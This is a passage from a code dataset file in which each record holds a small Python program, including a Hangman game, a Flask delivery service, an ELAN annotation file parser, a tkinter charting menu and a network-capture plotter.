self.print_detail()\n elif menu == 3:\n self.add_entry\n elif menu == 4:\n self.update_entry()\n elif menu == 5: # 삭제\n self.delete_entry()\n elif menu == 6: # 종료\n self.exit()\n else:\n print(\"잘못 선택했습니다.\") \n\ndef main():\n try:\n book, config = init()\n while True:\n menu = select_menu()\n run(menu, book, config)\n \n except Exception as e:\n print('예외', e)\n #traceback.print_stack() # 예외 위치까지 오는데 거친 함수 목록 출력\n #traceback.print_exc() # 구체적인 예외 내용을 출력\n\nmain()\n\n","sub_path":"ch15/addrbook.py","file_name":"addrbook.py","file_ext":"py","file_size_in_byte":4162,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"116327927","text":"from docx import Document\nimport win32api\nimport win32print\nimport csv\nfrom docx.enum.section import WD_ORIENTATION\nfrom docx.shared import Mm\nimport wx\nfrom WxPrinter import ComboBoxFrame\n\n\nclass duplicatesprinting:\n\n def openduplicate(self, file):\n list = []\n count = 0\n with open(file, 'r') as f:\n reader = csv.reader(f)\n for row in reader:\n print(row,\"rows21\")\n list.append(row)\n count += 1\n print(list, 'list1', count)\n\n document = Document()\n document.add_heading('Duplicates', 0)\n table = document.add_table(rows=0, cols=6)\n for section in document.sections:\n section.orientation = WD_ORIENTATION.LANDSCAPE\n section.page_width = Mm(297) # for A4 paper\n section.page_height = Mm(210)\n table.style = 'TableGrid'\n\n for item in list:\n row_cells = table.add_row().cells\n row_cells[0].text = str(item[0])\n row_cells[1].text = str(item[1])\n row_cells[2].text = str(item[2])\n row_cells[3].text = str(item[3])\n row_cells[4].text = str(item[4])\n row_cells[5].text = str(item[5])\n\n document.save('duplicate.docx')\n #try:\n # app = wx.App()\n # ComboBoxFrame().Show()\n # app.MainLoop()\n #except(Exception):\n # print(\"exception\")\n filename='duplicate.docx'\n print(win32print.GetDefaultPrinter ())\n win32api.ShellExecute (\n 0,\n \"printto\",\n filename,\n '\"%s\"' % win32print.GetDefaultPrinter (),\n \".\",\n 0\n )\n print(\"after the print function\")\n\n\n\n#dupli=duplicatesprinting()\n#dupli.openduplicate(\".\\Duplicate\\Duplicate.csv\")\n","sub_path":"WordPrint.py","file_name":"WordPrint.py","file_ext":"py","file_size_in_byte":1825,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"101399206","text":"import matplotlib\nimport pandas as pd\nfrom datetime import date, datetime, timedelta\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n\nip_port_for_sort='192.168.0.101.20000'#'192.168.0.101.20000'\nwhat_to_plot='sent' #code breaks when you change this to rcv. Hence, instead of changing this, change the ip to get various views\ny_max=4\nsent=[]\nrcv=[]\ndata1=[]\n\nrang=[]\n\n\ndef perdelta(start, end, delta):\n curr = start\n while curr < end:\n yield curr\n curr += delta\n\n\n#dos_sa_slave\n#file=open('masterthirdcaptureblackhole.txt','r')\n#file=open('slavefourthcaptureDoS1.txt','r')\nfile=open('test1.txt','r')\n\nfor i in file:\n line=i.strip().split(' ')\n #print line\n if line[3]==ip_port_for_sort:\n sent.append(line)\n else:\n rcv.append(line)\n#print \"sent=\", sent\n#print \"rcv=\", rcv\n\nstart_time_sent=sent[0][0]+' '+(sent[0][1]).split('.')[0]\nend_time_sent=sent[len(sent)-1][0]+' '+ (sent[len(sent)-1][1]).split('.')[0]\nstart_time_rcv=rcv[0][0]+' '+(rcv[0][1]).split('.')[0]\nend_time_rcv=rcv[len(rcv)-1][0]+' '+ (rcv[len(rcv)-1][1]).split('.')[0]\n\nif datetime.strptime(start_time_sent, '%Y-%m-%d %H:%M:%S') <=datetime.strptime(start_time_rcv, '%Y-%m-%d %H:%M:%S'):\n start_time=datetime.strptime(start_time_sent, '%Y-%m-%d %H:%M:%S')\nelse:\n start_time=datetime.strptime(start_time_rcv, '%Y-%m-%d %H:%M:%S')\n\nif datetime.strptime(end_time_sent, '%Y-%m-%d %H:%M:%S') >=datetime.strptime(end_time_rcv, '%Y-%m-%d %H:%M:%S'):\n end_time=datetime.strptime(end_time_sent, '%Y-%m-%d %H:%M:%S')\nelse:\n end_time=datetime.strptime(end_time_rcv, '%Y-%m-%d %H:%M:%S')\n#print \"start time=\",start_time\n#print \"end time=\",end_time\nif end_time==start_time:\n time_range=start_time\n rang.append(time_range)\nelse:\n time_range=perdelta(start_time,end_time,timedelta(seconds=1))\n for result in time_range:\n #print result\n rang.append(result)\n #print rang\n #print \"current size of rang\", len(rang)\n\ndictionary = dict(zip(rang, [0]*len(rang)))\ns=0\n\nif what_to_plot==\"sent\":\n for i in rang:\n for j in range(s,len(sent)):\n if datetime.strptime((sent[j][0]+' '+(sent[j][1]).split('.')[0]), '%Y-%m-%d %H:%M:%S') <=i:\n dictionary[i]=dictionary[i]+1\n\n else:\n s=j\n break\nelse:\n for i in rang:\n for j in range(s,len(rcv)):\n print (rcv[j][0]+' '+(rcv[j][1]).split('.')[0])\n if datetime.strptime((rcv[j][0]+' '+(rcv[j][1]).split('.')[0]), '%Y-%m-%d %H:%M:%S') <=i:\n dictionary[i]=dictionary[i]+1\n\n else:\n s=j\n break\n\n\n\n\n#print dictionary\n\nsortedList = sorted([(k, v) for k, v in dictionary.iteritems()])\n\n#print \"new_dictionary=\", sortedList\n#print sortedList[0][1]\nnew_list=[]\nfor i in range(0,len(sortedList)):\n new_list.append(sortedList[i][1])\n\n\nfig, ax1 = plt.subplots(1)\n#print \"rang=\",rang\ndates = matplotlib.dates.date2num(rang)\nlocs, labels = plt.xticks()\nplt.setp(labels, rotation=90)\nvalues=new_list\nlowest_value=min(values)\nax1.set_ylabel('Packets per Second')\n\n\n#print \"dictionary.values()=\",dictionary.values()\n#print \"dates=\",dates\nif end_time==start_time:\n ax1.plot_date(dates, new_list,'o')\n\nelse:\n ax1.plot_date(dates, new_list,'-')\n\nax1.fill_between(dates, new_list, lowest_value, facecolor='green', alpha=0.5)\nax1.grid(True)\nplt.gcf().autofmt_xdate()\nplt.ylim([0,y_max])\nplt.show()","sub_path":"wireshark_plotter.py","file_name":"wireshark_plotter.py","file_ext":"py","file_size_in_byte":3429,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"529994616","text":"from .models import Proveedor, Producto, Lista, Zona\n\ndef generador_lista(lista):\n zonas = Zona.objects.all()\n output = ''\n for zona in zonas:\n print(\"for zonas\")\n print(lista)\n output += zona.nombre+'

'\n for item in lista:\n print(\"for lista\")\n print(item)\n print(item.zona)\n print(zona.id)\n if int(item.zona) == int(zona.id):\n print(\"en\")\n print(\"paso el if de afuera\")\n proveedor = Proveedor.objects.get(pk=item.proveedor).nombre_corto\n zona = Zona.objects.get(pk=item.zona)\n if item.done == True:\n check = ''\n else:\n check = ''\n output = output+\\\n \"\"\"\n %s\n %s\n %s\n %s\n %s\n %s\n \"\"\" % (check,str(item.producto),str(item.cantidad),str(item.unidad),str(proveedor),str(item.fecha_de_solicitud.strftime(\"%d/%m/%y %l:%M%p\")))\n return output\n","sub_path":"webapp/hercules.py","file_name":"hercules.py","file_ext":"py","file_size_in_byte":1439,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"19292648","text":"# -*- coding: utf-8 -*-\n\nfrom xml.etree import ElementTree\nimport sys\nimport warnings\n\n\ndef parseEaf(filePath, eafObj):\n \"\"\"\n Parse an elan file
\n
\n filePath -- Filepath to parse from - for stdin
\n eafObj -- Object to put the data in\"\"\"\n if filePath == \"-\":\n filePath = sys.stdin\n treeRoot = ElementTree.parse(filePath).getroot()\n eafObj.annotationDocument.update(treeRoot.attrib)\n del(eafObj.annotationDocument[\n '{http://www.w3.org/2001/XMLSchema-instance}noNamespaceSchemaLocation'\n ])\n tierNumber = 0\n for elem in treeRoot:\n if elem.tag == 'HEADER':\n eafObj.header.update(elem.attrib)\n for elem1 in elem:\n if elem1.tag == 'MEDIA_DESCRIPTOR':\n eafObj.media_descriptors.append(elem1.attrib)\n elif elem1.tag == 'LINKED_FILE_DESCRIPTOR':\n eafObj.linked_file_descriptors.append(elem1.attrib)\n elif elem1.tag == 'PROPERTY':\n eafObj.properties.append((elem1.text, elem1.attrib))\n elif elem.tag == 'TIME_ORDER':\n for elem1 in elem:\n if int(elem1.attrib['TIME_SLOT_ID'][2:]) > eafObj.new_time:\n eafObj.new_time = int(elem1.attrib['TIME_SLOT_ID'][2:])\n eafObj.timeslots[elem1.attrib['TIME_SLOT_ID']] =\\\n int(elem1.attrib['TIME_VALUE'])\n elif elem.tag == 'TIER':\n tierId = elem.attrib['TIER_ID']\n align = {}\n ref = {}\n for elem1 in elem:\n if elem1.tag == 'ANNOTATION':\n for elem2 in elem1:\n if elem2.tag == 'ALIGNABLE_ANNOTATION':\n annotID = elem2.attrib['ANNOTATION_ID']\n if int(annotID[1:]) > eafObj.new_ann:\n eafObj.new_ann = int(annotID[1:])\n annotStart = elem2.attrib['TIME_SLOT_REF1']\n annotEnd = elem2.attrib['TIME_SLOT_REF2']\n svg_ref = None if 'SVG_REF' not in elem2.attrib\\\n else elem2.attrib['SVG_REF']\n align[annotID] = (\n annotStart, annotEnd, ''\n if list(elem2)[0].text is None\n else list(elem2)[0].text, svg_ref)\n elif elem2.tag == 'REF_ANNOTATION':\n annotRef = elem2.attrib['ANNOTATION_REF']\n previous = None\\\n if 'PREVIOUS_ANNOTATION' not in elem2.attrib\\\n else elem2.attrib['PREVIOUS_ANNOTATION']\n annotId = elem2.attrib['ANNOTATION_ID']\n if int(annotID[1:]) > eafObj.new_ann:\n eafObj.new_ann = int(annotID[1:])\n svg_ref = None\\\n if 'SVG_REF' not in elem2.attrib\\\n else elem2.attrib['SVG_REF']\n ref[annotId] = (\n annotRef,\n '' if list(elem2)[0].text is None else\n list(elem2)[0].text,\n previous, svg_ref)\n eafObj.tiers[tierId] = (align, ref, elem.attrib, tierNumber)\n tierNumber += 1\n elif elem.tag == 'LINGUISTIC_TYPE':\n eafObj.linguistic_types[elem.attrib['LINGUISTIC_TYPE_ID']] =\\\n elem.attrib\n elif elem.tag == 'LOCALE':\n eafObj.locales.append(elem.attrib)\n elif elem.tag == 'CONSTRAINT':\n eafObj.constraints[elem.attrib['STEREOTYPE']] =\\\n elem.attrib['DESCRIPTION']\n elif elem.tag == 'CONTROLLED_VOCABULARY':\n vcId = elem.attrib['CV_ID']\n descr = elem.attrib['DESCRIPTION']\n ext_ref = None if 'EXT_REF' not in elem.attrib else\\\n elem.attrib['EXT_REF']\n entries = {}\n for elem1 in elem:\n if elem1.tag == 'CV_ENTRY':\n entries[elem1.attrib['DESCRIPTION']] =\\\n (elem1.attrib, elem1.text)\n eafObj.controlled_vocabularies[vcId] = (descr, entries, ext_ref)\n elif elem.tag == 'LEXICON_REF':\n eafObj.lexicon_refs.append(elem.attrib)\n elif elem.tag == 'EXTERNAL_REF':\n eafObj.external_refs.append((elem.attrib['EXT_REF_ID'],\n elem.attrib['TYPE'],\n elem.attrib['VALUE']))\n\n\ndef indent(el, level=0):\n \"\"\"\n Pretty prints the xml
\n
\n level -- Level of indenting, only used internally\"\"\"\n i = '\\n' + level*'\\t'\n if len(el):\n if not el.text or not el.text.strip():\n el.text = i+'\\t'\n if not el.tail or not el.tail.strip():\n el.tail = i\n for elem in el:\n indent(elem, level+1)\n if not el.tail or not el.tail.strip():\n el.tail = i\n else:\n if level and (not el.tail or not el.tail.strip()):\n el.tail = i\n\n\ndef toEaf(filePath, eafObj, pretty=True):\n \"\"\"\n Write an elan object to a file
\n
\n filePath -- Filpath to write to - for stdout
\n eafObj -- The elan object
\n pretty -- Use pretty indentation in xml\"\"\"\n rmNone = lambda x:\\\n dict((k, unicode(v)) for k, v in x.iteritems() if v is not None)\n ANNOTATION_DOCUMENT = ElementTree.Element('ANNOTATION_DOCUMENT',\n eafObj.annotationDocument)\n\n HEADER = ElementTree.SubElement(ANNOTATION_DOCUMENT, 'HEADER',\n eafObj.header)\n for m in eafObj.media_descriptors:\n ElementTree.SubElement(HEADER, 'MEDIA_DESCRIPTOR', rmNone(m))\n for m in eafObj.linked_file_descriptors:\n ElementTree.SubElement(HEADER, 'LINKED_FILE_DESCRIPTOR', rmNone(m))\n for m in eafObj.properties:\n ElementTree.SubElement(HEADER, 'PROPERTY', rmNone(m[1])).text =\\\n unicode(m[0])\n\n TIME_ORDER = ElementTree.SubElement(ANNOTATION_DOCUMENT, 'TIME_ORDER')\n for t in sorted(eafObj.timeslots.iteritems(), key=lambda x: int(x[0][2:])):\n ElementTree.SubElement(\n TIME_ORDER, 'TIME_SLOT',\n rmNone({'TIME_SLOT_ID': t[0], 'TIME_VALUE': t[1]}))\n\n for t in eafObj.tiers.iteritems():\n tier = ElementTree.SubElement(ANNOTATION_DOCUMENT, 'TIER',\n rmNone(t[1][2]))\n for a in t[1][0].iteritems():\n ann = ElementTree.SubElement(tier, 'ANNOTATION')\n alan = ElementTree.SubElement(ann,\n 'ALIGNABLE_ANNOTATION',\n rmNone({'ANNOTATION_ID': a[0],\n 'TIME_SLOT_REF1': a[1][0],\n 'TIME_SLOT_REF2': a[1][1],\n 'SVG_REF': a[1][3]}))\n ElementTree.SubElement(alan, 'ANNOTATION_VALUE').text =\\\n unicode(a[1][2])\n for a in t[1][1].iteritems():\n ann = ElementTree.SubElement(tier, 'ANNOTATION')\n rean = ElementTree.SubElement(ann,\n 'REF_ANNOTATION',\n rmNone({\n 'ANNOTATION_ID': a[0],\n 'ANNOTATION_REF': a[1][0],\n 'PREVIOUS_ANNOTATION': a[1][2],\n 'SVG_REF': a[1][3]}))\n ElementTree.SubElement(rean, 'ANNOTATION_VALUE').text =\\\n unicode(a[1][1])\n\n for l in eafObj.linguistic_types.itervalues():\n ElementTree.SubElement(ANNOTATION_DOCUMENT, 'LINGUISTIC_TYPE',\n rmNone(l))\n\n for l in eafObj.locales:\n ElementTree.SubElement(ANNOTATION_DOCUMENT, 'LOCALE', l)\n\n for l in eafObj.constraints.iteritems():\n ElementTree.SubElement(ANNOTATION_DOCUMENT, 'CONSTRAINT',\n rmNone({'STEREOTYPE': l[0],\n 'DESCRIPTION': l[1]}))\n\n for l in eafObj.controlled_vocabularies.iteritems():\n cv = ElementTree.SubElement(ANNOTATION_DOCUMENT,\n 'CONTROLLED_VOCABULARY',\n rmNone({'CV_ID': l[0],\n 'DESCRIPTION': l[1][0],\n 'EXT_REF': l[1][2]}))\n for c in l[1][1].itervalues():\n ElementTree.SubElement(cv, 'CV_ENTRY', rmNone(c[0])).text =\\\n unicode(c[1])\n\n for r in eafObj.external_refs:\n ElementTree.SubElement(ANNOTATION_DOCUMENT, 'EXTERNAL_REF',\n rmNone({'EXT_REF_ID': r[0],\n 'TYPE': r[1],\n 'VALUE': r[2]}))\n\n for l in eafObj.lexicon_refs:\n ElementTree.SubElement(ANNOTATION_DOCUMENT, 'LEXICON_REF', l)\n\n if pretty:\n indent(ANNOTATION_DOCUMENT)\n if filePath == \"-\":\n filePath = sys.stdout\n ElementTree.ElementTree(ANNOTATION_DOCUMENT).write(filePath,\n xml_declaration=True,\n encoding='UTF-8')\n","sub_path":"pympi/EafIO.py","file_name":"EafIO.py","file_ext":"py","file_size_in_byte":9638,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"65688020","text":"#imports wordlist.py\r\nimport wordlist\r\n\r\n#gets the word from wordlist.py at random\r\ndef get_word():\r\n word=wordlist.get_random_word()\r\n return word.upper()\r\n\r\n#adds spaces to the word obtained from wordlist.py\r\ndef add_spaces(word):\r\n word_with_spaces=\" \".join(word)\r\n return word_with_spaces\r\n\r\n#draws the screen that shows the number of guesses, number of incorrect guesses, current guessed letters, and the current word\r\ndef draw_screen(num_wrong, num_guesses, guessed_letters, displayed_word):\r\n print(\"-\"*79)\r\n print(\"Word:\", add_spaces(displayed_word), \"Guesses:\", num_guesses,\r\n \"Wrong:\", num_wrong,\r\n \"Tried:\", add_spaces(guessed_letters))\r\n\r\n#allows the user to input just one letter\r\ndef get_letter(guessed_letters):\r\n while True:\r\n guess=input(\"Enter a letter: \").strip().upper()\r\n if guess==\"\" or len(guess)>1:\r\n print(\"Invalid entry. \"+\"Please enter one and only one letter.\")\r\n continue\r\n elif guess in guessed_letters:\r\n print(\"You already tried that letter.\")\r\n continue\r\n else:\r\n return guess\r\n\r\n#the meat and potatoes of the code, more or less sets the rules of the game\r\ndef play_game():\r\n#ASCII Hangman and attempts code obtained from https://codereview.stackexchange.com/questions/95997/simple-game-of-hangman\r\n Hangman = (\r\n\"\"\"\r\n-----\r\n| |\r\n|\r\n|\r\n|\r\n|\r\n|\r\n|\r\n|\r\n--------\r\n\"\"\",\r\n\"\"\"\r\n-----\r\n| |\r\n| 0\r\n|\r\n|\r\n|\r\n|\r\n|\r\n|\r\n--------\r\n\"\"\",\r\n\"\"\"\r\n-----\r\n| |\r\n| 0\r\n| -+-\r\n|\r\n|\r\n|\r\n|\r\n|\r\n--------\r\n\"\"\",\r\n\"\"\"\r\n-----\r\n| |\r\n| 0\r\n| /-+-\r\n|\r\n|\r\n|\r\n|\r\n|\r\n--------\r\n\"\"\",\r\n\"\"\"\r\n-----\r\n| |\r\n| 0\r\n| /-+-\\ \r\n|\r\n|\r\n|\r\n|\r\n|\r\n--------\r\n\"\"\",\r\n\"\"\"\r\n-----\r\n| |\r\n| 0\r\n| /-+-\\ \r\n| | \r\n|\r\n|\r\n|\r\n|\r\n--------\r\n\"\"\",\r\n\"\"\"\r\n-----\r\n| |\r\n| 0\r\n| /-+-\\ \r\n| | \r\n| | \r\n|\r\n|\r\n|\r\n--------\r\n\"\"\",\r\n\"\"\"\r\n-----\r\n| |\r\n| 0\r\n| /-+-\\ \r\n| | \r\n| | \r\n| |\r\n|\r\n|\r\n--------\r\n\"\"\",\r\n\"\"\"\r\n-----\r\n| |\r\n| 0\r\n| /-+-\\ \r\n| | \r\n| | \r\n| | \r\n| | \r\n|\r\n--------\r\n\"\"\",\r\n\"\"\"\r\n-----\r\n| |\r\n| 0\r\n| /-+-\\ \r\n| | \r\n| | \r\n| | | \r\n| | \r\n|\r\n--------\r\n\"\"\",\r\n\"\"\"\r\n-----\r\n| |\r\n| 0\r\n| /-+-\\ \r\n| | \r\n| | \r\n| | | \r\n| | | \r\n|\r\n--------\r\n\"\"\")\r\n print(Hangman[0])\r\n attempts = len(Hangman) - 1\r\n#puts the word in context of the screen, displaying the amount of blanks to give the user hints as to what to input \r\n word=get_word()\r\n word_length=len(word)\r\n remaining_letters=word_length\r\n displayed_word=\"_\"*word_length\r\n#sets the number of guesses and incorrect guesses to 0\r\n num_wrong=0\r\n num_guesses=0\r\n guessed_letters=\"\"\r\n#draws the screen\r\n draw_screen(num_wrong, num_guesses, guessed_letters, displayed_word)\r\n#handles the guesses counter on both ends and the letters you've already used\r\n while num_wrong < 10 and remaining_letters > 0:\r\n guess=get_letter(guessed_letters)\r\n guessed_letters+=guess\r\n\r\n pos=word.find(guess, 0)\r\n if pos!= -1:\r\n displayed_word=\"\"\r\n remaining_letters=word_length\r\n for char in word:\r\n if char in guessed_letters:\r\n displayed_word+=char\r\n remaining_letters -= 1\r\n else:\r\n displayed_word += \"_\"\r\n else:\r\n num_wrong += 1\r\n attempts -= 1\r\n print(Hangman[(len(Hangman) - 1) - attempts]) \r\n \r\n num_guesses+=1\r\n draw_screen(num_wrong, num_guesses, guessed_letters, displayed_word)\r\n print(\"-\"*79)\r\n#prints game over message for win and loss respectively\r\n if remaining_letters==0:\r\n print(\"Congratulations! You got it in\", num_guesses, \"guesses.\")\r\n else:\r\n print(\"Sorry, you lost.\")\r\n print(\"The word was: \", word)\r\n\r\ndef main():\r\n#prints the welcome message and handles the user input for wishing to continue or exit\r\n print(\"Play the Hangman game! Here you can enter one letter at a time to guess the wordYou may only enter ten incorrect guesses before you lose so good luck!\")\r\n#starts the game\r\n while True:\r\n play_game()\r\n print()\r\n again=input(\"Do you want to play again (y/n)?: \").lower()\r\n if again == \"y\":\r\n continue\r\n elif again == \"n\":\r\n import winsound\r\n print(\"Thank you so much a-for-to playing my game!\")\r\n winsound.PlaySound(\"Thanks.wav\", winsound.SND_FILENAME)\r\n break\r\n else:\r\n print(\"That is not a valid option, please try again.\")\r\n\r\nif __name__==\"__main__\":\r\n main()\r\n","sub_path":"Hangman2.py","file_name":"Hangman2.py","file_ext":"py","file_size_in_byte":4544,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"312790224","text":"import matplotlib.pyplot as plt\r\nfrom tkinter import *\r\nimport tkinter\r\nimport numpy as np\r\n\r\n\r\n\r\nWindow=Tk()\r\nWindow.title(\"Graph\")\r\nWindow.geometry(\"360x80\")\r\n\r\ndef line():\r\n\r\n x1=input(\"Enter the x-axis value\").split()\r\n y1=input(\"Enter the y-axis value\") .split()\r\n plt.plot(x1,y1) \r\n \r\n plt.xlabel('x - axis') \r\n\r\n plt.ylabel('y - axis') \r\n \r\n plt.title('Plotting a Line!') \r\n \r\n plt.show() \r\n\r\n\r\ndef twoline():\r\n x1 =input(\"Enter the first line x-axis\").split()\r\n y1 =input(\"Enter the first line y-axis\").split()\r\n\r\n \r\n plt.plot(x1, y1, label = \"line 1\") \r\n \r\n x2 =input(\"Enter the second line x-axis\").split()\r\n y2 =input(\"Enter the second line y-axis\").split()\r\n \r\n plt.plot(x2, y2, label = \"line 2\") \r\n \r\n plt.xlabel('x - axis')\r\n \r\n plt.ylabel('y - axis')\r\n \r\n plt.title('Plotting Two lines!') \r\n \r\n plt.legend() \r\n \r\n plt.show()\r\n \r\n \r\ndef plot_bar():\r\n x1=input(\"Enter the x axis values\").split()\r\n y1=input(\"Enter the y axis values\").split()\r\n tick_label=input(\"Enter the Item\")\r\n\r\n plt.bar(x1,y1,tick_label=tick_label,width=0.8)\r\n\r\n plt.xlabel('X-Axis')\r\n plt.ylabel('Y-Axis')\r\n\r\n plt.title('Plotting a bar chart!')\r\n\r\n plt.show()\r\n\r\n\r\ndef scatter():\r\n # x-axis values \r\n x =input(\"Enter the x-axis values\").split()\r\n # y-axis values \r\n y =input(\"Enter the y-axis values\") .split()\r\n \r\n # plotting points as a scatter plot \r\n plt.scatter(x, y, label= \"stars\", color= \"green\", \r\n marker= \"*\", s=30) \r\n \r\n # x-axis label \r\n plt.xlabel('x - axis') \r\n # frequency label \r\n plt.ylabel('y - axis') \r\n # plot title \r\n plt.title('Scatter plot!') \r\n # showing legend \r\n plt.legend() \r\n \r\n # function to show the plot \r\n plt.show()\r\n \r\n \r\ndef histogram():\r\n # frequencies \r\n f=input(\"Enter the frequency\").split() \r\n \r\n # plotting a histogram \r\n plt.hist(f,density=True, color = 'green', \r\n histtype = 'bar') \r\n \r\n # x-axis label \r\n plt.xlabel('age') \r\n # frequency label \r\n plt.ylabel('No. of people') \r\n # plot title \r\n plt.title('My histogram') \r\n \r\n\r\n # function to show the plot \r\n plt.show()\r\n\r\n\r\ndef pie():\r\n # defining labels \r\n activities=input(\"Enter the partitions\").split()\r\n \r\n # portion covered by each label \r\n slices = input(\"Enter the value of each partition\").split() \r\n \r\n # color for each label \r\n colors=input(\"Enter the colors(r,y,g,b)\").split()\r\n \r\n # plotting the pie chart \r\n plt.pie(slices, labels = activities, colors=colors,startangle=90, shadow = True) \r\n \r\n # plotting legend \r\n plt.legend() \r\n \r\n # showing the plot \r\n plt.show()\r\n\r\n\r\ndef close():\r\n exit()\r\n\r\n \r\n\r\nB1=Button(Window,text=\"Plot a Line\",command=line)\r\nB2=Button(Window,text=\"Plot Two line\",command=twoline)\r\nB3=Button(Window,text=\"Bar Chart\",command=plot_bar)\r\nB4=Button(Window,text=\"Scatter plot\",command=scatter)\r\nB5=Button(Window,text=\"Histogram\",command=histogram)\r\nB6=Button(Window,text=\"Pie Chart\",command=pie)\r\nB7=Button(Window,text=\"Close Window\",command=close)\r\n\r\nB1.pack()\r\nB1.place(bordermode=OUTSIDE,height=20,width=180,x=0,y=0)\r\nB2.pack()\r\nB2.place(bordermode=OUTSIDE,height=20,width=180,x=0,y=20)\r\nB3.pack()\r\nB3.place(bordermode=OUTSIDE,height=20,width=180,x=0,y=40)\r\nB4.pack()\r\nB4.place(bordermode=OUTSIDE,height=20,width=180,x=180,y=40)\r\nB5.pack()\r\nB5.place(bordermode=OUTSIDE,height=20,width=180,x=180,y=0)\r\nB6.pack()\r\nB6.place(bordermode=OUTSIDE,height=20,width=180,x=180,y=20)\r\nB7.pack()\r\nB7.place(bordermode=OUTSIDE,height=20,width=180,x=90,y=60)\r\n\r\n\r\nWindow.mainloop()\r\n\r\n","sub_path":"Project.py","file_name":"Project.py","file_ext":"py","file_size_in_byte":3726,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"11873082","text":"from flask import Flask, request, jsonify\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_cors import CORS\nfrom os import environ\n# import pika\n# import json\n\napp = Flask(__name__)\napp.config['SQLALCHEMY_DATABASE_URI'] = 'mysql+mysqlconnector://root@localhost:3306/delivery'\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\n\ndb = SQLAlchemy(app)\nCORS(app)\n\nclass Delivery(db.Model):\n __tablename__ = 'delivery'\n \n DeliveryID = db.Column(db.Integer, primary_key=True)\n OrderID = db.Column(db.Integer, nullable=False)\n OrderTrackingID = db.Column(db.String(100), nullable=False)\n DeliveryDate = db.Column(db.String(100), nullable=False)\n DeliveryStatus = db.Column(db.Integer, nullable=False)\n\n def __init__(self, DeliveryID, OrderID, OrderTrackingID, DeliveryDate, DeliveryStatus):\n self.DeliveryID = DeliveryID\n self.OrderID = OrderID\n self.OrderTrackingID = OrderTrackingID\n self.DeliveryDate = DeliveryDate\n self.DeliveryStatus = DeliveryStatus\n \n def json(self):\n return {\"DeliveryID\": self.DeliveryID,\n \"OrderID\": self.OrderID,\n \"OrderTrackingID\": self.OrderTrackingID, \n \"DeliveryDate\": self.DeliveryDate, \n \"DeliveryStatus\": self.DeliveryStatus\n } \n\n@app.route(\"/delivery\")\ndef get_all():\n return jsonify({\"delivery\": [delivery.json() for delivery in Delivery.query.all()]})\n\n@app.route(\"/delivery/\", methods=['GET'])\ndef find_by_DeliveryID(DeliveryID):\n delivery = Delivery.query.filter_by(DeliveryID=DeliveryID).first()\n if delivery:\n return jsonify(delivery.json())\n return jsonify({\"message\": \"DeliveryID not found.\"}), 404\n\n@app.route(\"/delivery/\", methods=['PUT'])\ndef update_deliverydate(DeliveryID):\n delivery = Delivery.query.get(DeliveryID)\n\n OrderTrackingID = request.json['OrderTrackingID']\n DeliveryDate = request.json['DeliveryDate']\n DeliveryStatus = request.json['DeliveryStatus']\n \n delivery.OrderTrackingID = OrderTrackingID\n delivery.DeliveryDate = DeliveryDate\n delivery.DeliveryStatus = DeliveryStatus\n\n db.session.commit()\n return delivery_schema.jsonify(delivery)\n\n# def createDelivery():\n# connection = pika.BlockingConnection(\n# pika.ConnectionParameters(host='localhost'))\n# channel = connection.channel()\n\n# channel.queue_declare(queue='order')\n\n# def callback(ch, method, properties, body):\n# print(\" [x] Received %r\" % body)\n \n# data = json.loads(body) # Convert string into json\n# print(data)\n# delivery = Delivery(DeliveryID=data[\"DeliveryID\"], OrderID=data[\"OrderID\"], OrderTrackingID=\"\", DeliveryDate=\"\", DeliveryStatus=0) \n# try:\n# db.session.add(delivery)\n# db.session.commit()\n# except:\n# print(\"Error in adding to database\")\n\n# ##item = json.loads(body)\n# channel.basic_consume(\n# queue='order', on_message_callback=callback, auto_ack=True)\n\n# channel.start_consuming()\nif __name__ == '__main__':\n app.run(host='127.0.0.1', port=5004, debug=True)\n","sub_path":"microservices/delivery.py","file_name":"delivery.py","file_ext":"py","file_size_in_byte":3174,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"443190290","text":"import datetime\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\n# For IPython notebook implementation\n#%matplotlib notebook\n\n# Read data for a specific region\ninitial_df = pd.read_csv('./f92f364eaf87779ba90d1b8fe51d0982689343244dc8eb18bfc19c04.csv')\n\n# Keep data only for 1 station: 'CA006114979' & Sort values by date\nCA006114979_station = initial_df[initial_df['ID']=='CA006114979']\nCA006114979_station = CA006114979_station.sort_values(by='Date')\n# Divide Data_Value by 10 to get the actual value in degree celcius\nCA006114979_station[\"Temp_deg_Cel\"] = CA006114979_station['Data_Value']/10\n# Remove Feb 29th data from this set\nCA006114979_station = CA006114979_station[~(CA006114979_station['Date'].str.endswith(r'02-29'))]\ndate_time = pd.DatetimeIndex(CA006114979_station['Date'])\n\n# Separate 2015 data in another dataframe\nstation_2015 = CA006114979_station[(CA006114979_station['Date'].str.startswith(r'2015-'))]\nstation_before_2015 = CA006114979_station[~(CA006114979_station['Date'].str.startswith(r'2015-'))]\n\nstation_before_2015['Year'], station_before_2015['Month-Date'] = zip(*station_before_2015['Date'].apply(lambda x: (x[:4], x[5:])))\nstation_2015['Year'], station_2015['Month-Date'] = zip(*station_2015['Date'].apply(lambda x: (x[:4], x[5:])))\n\n#print(station_2015)\n#print(station_before_2015)\n\n# Get minimum and maximum temperature for each day of the year for the period 2005 to 2014\nmintemp_before2015 = station_before_2015[(station_before_2015['Element'] == 'TMIN')].groupby('Month-Date').aggregate({'Temp_deg_Cel':np.min})\nmaxtemp_before2015 = station_before_2015[(station_before_2015['Element'] == 'TMAX')].groupby('Month-Date').aggregate({'Temp_deg_Cel':np.max})\n\n#print(mintemp_before2015)\n#print(maxtemp_before2015)\n\n# Separate the minimum and maximum temperatures in two dataframes\nmintemp_2015 = 